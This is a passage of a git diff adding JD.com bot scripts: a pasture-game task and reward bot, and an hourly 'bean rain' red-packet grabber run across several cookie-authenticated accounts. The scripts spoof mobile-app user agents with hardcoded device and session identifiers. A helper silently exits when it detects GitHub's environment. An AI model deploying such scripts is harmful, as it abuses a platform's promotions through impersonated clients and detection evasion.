`venderId=1000361242&code=99&pin=${encodeURIComponent($.pin)}&activityId=90121061401&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fqqxing%2Fpasture%2Factivity%3FactivityId%3D90121061401%26lng%3D107.146945%26lat%3D33.255267%26sid%3Dcad74d1c843bd47422ae20cadf6fe5aw%26un_area%3D27_2442_2444_31912&subType=app&adSource=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/activityContent', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCardStatus !=3){ + console.log("当前未开卡,无法助力和兑换奖励哦") + } + // $.shareuuid = data.data.uid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.shareuuid}\n`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取任务列表 +function getinfo() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/myInfo", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}`) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.taskList = data.data.task.filter(x => (x.maxNeed == 1 && x.curNum == 0) || x.taskid == "interact") + $.taskList2 = data.data.task.filter(x => x.maxNeed != 1 && x.type == 0) + $.draw = data.data.bags.filter(x => x.bagId == 'drawchance')[0] + $.food = data.data.bags.filter(x => x.bagId == 'food')[0] + $.sign = data.data.bags.filter(x => x.bagId == 'signDay')[0] + $.score = data.data.score + // console.log(data.data.task) + let helpinfo = data.data.task.filter(x => x.taskid == 'share2help')[0] + if (helpinfo) { + console.log(`今天已有${helpinfo.curNum}人为你助力啦`) + if (helpinfo.curNum == 20) { + $.needhelp = false + } + } + $.cow = `当前🐮🐮成长值:${$.score} 饲料:${$.food.totalNum-$.food.useNum} 抽奖次数:${$.draw.totalNum-$.draw.useNum} 签到天数:${$.sign.totalNum}` + $.foodNum = $.food.totalNum-$.food.useNum + console.log($.cow) + $.drawchance = $.draw.totalNum - $.draw.useNum + } else { + $.cando = false + // console.log(data) + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +// 获取浏览商品 +function getproduct() { + return new Promise(resolve => { + let body = `type=4&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/getproduct', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data.data && data.data[0]) { + $.pparam = data.data[0].id + + $.vid = data.data[0].venderId + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获取浏览商品 +function writePersonInfo(vid) { + return new Promise(resolve => { + let body = `jdActivityId=1404370&pin=${encodeURIComponent($.pin)}&actionType=5&venderId=${vid}&activityId=90121061401` + + $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log("浏览:" + $.vid) + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换商品 +function exchange(id) { + return new Promise(resolve => { + let body = `pid=${id}&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/exchange?_', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log() +if(data.result){ +console.log(`兑换 ${data.data.rewardName}成功`) +$.exchange += 20 +}else{ +console.log(JSON.stringify(data)) +} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function dotask(taskId, params) { + let config = taskPostUrl("/dingzhi/qqxing/pasture/doTask", `taskId=${taskId}&${params?("param="+params+"&"):""}activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data.food) { + console.log("操作成功,获得饲料: " + data.data.food + " 抽奖机会:" + data.data.drawChance + " 成长值:" + data.data.growUp) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/luckydraw", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.prize.rewardName}`) + $.drawresult += `恭喜你抽中 ${data.data.prize.rewardName} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redrain.js b/jd_redrain.js new file mode 100644 index 0000000..aaf4f23 --- /dev/null +++ b/jd_redrain.js @@ -0,0 +1,301 @@ +/* +整点京豆雨 +更新时间:2022-1-24 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen +github:https://github.com/msechen/jdrain +频道:https://t.me/jdredrain +交流群组:https://t.me/+xfWwiMAFonwzZDFl +==============Quantumult X============== +[task_local] +#整点京豆雨 +0 * * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, tag=整点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0 * * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js,tag=整点京豆雨 +================Surge=============== +整点京豆雨 = type=cron,cronexp="0 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js +===============小火箭========== +整点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, cronexpr="0 * * * *", timeout=3600, enable=true +*/ +const $ = new Env('整点京豆雨'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let jd_redrain_activityId = ''; +let jd_redrain_url = ''; +let allMessage = '', message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_activityId) jd_redrain_activityId = process.env.jd_redrain_activityId + if (process.env.jd_redrain_url) jd_redrain_url = process.env.jd_redrain_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:本地红包雨配置获取错误,尝试从远程读取配置\n`); + await $.wait(1000); + if (!jd_redrain_url) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let RedRainIds = await getRedRainIds(jd_redrain_url); + for (let i = 0; i < 1; i++) { + jd_redrain_activityId = RedRainIds[0]; + } + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let codeList = jd_redrain_activityId.split("@"); + let hour = (new Date().getUTCHours() + 8) % 24; + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位: ${codeList}\n\n准备领取${hour}点京豆雨\n`); + for (let codeItem of codeList) { + let ids = {}; + for (let i = 0; i < 24; i++) { + ids[String(i)] = codeItem; + } + if (ids[hour]) { + $.activityId = ids[hour]; + $.log(`\nRRA: ${codeItem}`); + } else { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:无法从本地读取配置,请检查运行时间\n`); + return; + } + if (!/^RRA/.test($.activityId)) { + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:RRA: "${$.activityId}"不符合规则\n`); + continue; + } + for (let i = 0; i < 5; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n${tswb}`); + } + continue + } + await queryRedRainTemplateNew($.activityId) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode == "0") { + //console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}`); + message += `领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 